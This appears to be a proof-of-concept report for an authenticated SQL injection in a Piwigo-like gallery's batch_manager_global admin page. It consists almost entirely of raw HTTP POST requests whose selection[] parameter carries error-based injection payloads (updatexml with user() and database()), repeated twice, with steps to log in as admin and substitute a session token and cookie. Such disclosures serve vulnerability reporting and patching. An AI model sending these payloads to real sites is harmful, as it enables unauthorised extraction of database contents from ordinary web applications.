send the following payload(Before sending, you need to modify the pwg_token and cookie in the data packet):
db user:
POST /admin.php?page=batch_manager_global HTTP/1.1
Host: ctf.cn
Content-Length: 161
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2
Connection: close
pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(user()),0x7e),1) and (1
db name:
POST /admin.php?page=batch_manager_global HTTP/1.1
Host: ctf.cn
Content-Length: 161
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2
Connection: close
pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(database()),0x7e),1) and (1
1. Login with admin
2. send the following payload(Before sending, you need to modify the pwg_token and cookie in the data packet):
db user:
```
POST /admin.php?page=batch_manager_global HTTP/1.1
Host: ctf.cn
Content-Length: 161
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2
Connection: close
pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(user()),0x7e),1) and (1
```

db name:
```
POST /admin.php?page=batch_manager_global HTTP/1.1
Host: ctf.cn
Content-Length: 161
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: pwg_id=c7j45g3fkcocuh0sqcq5a8bpv2
Connection: close
pwg_token=a3e7ccb852d55740c43e54b63b8d3d48&selectAction=dissociate&submit=1&dissociate=2&selection[]=id) and updatexml(1,concat(0x7e,(database()),0x7e),1) and (1
```

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db user:
db name: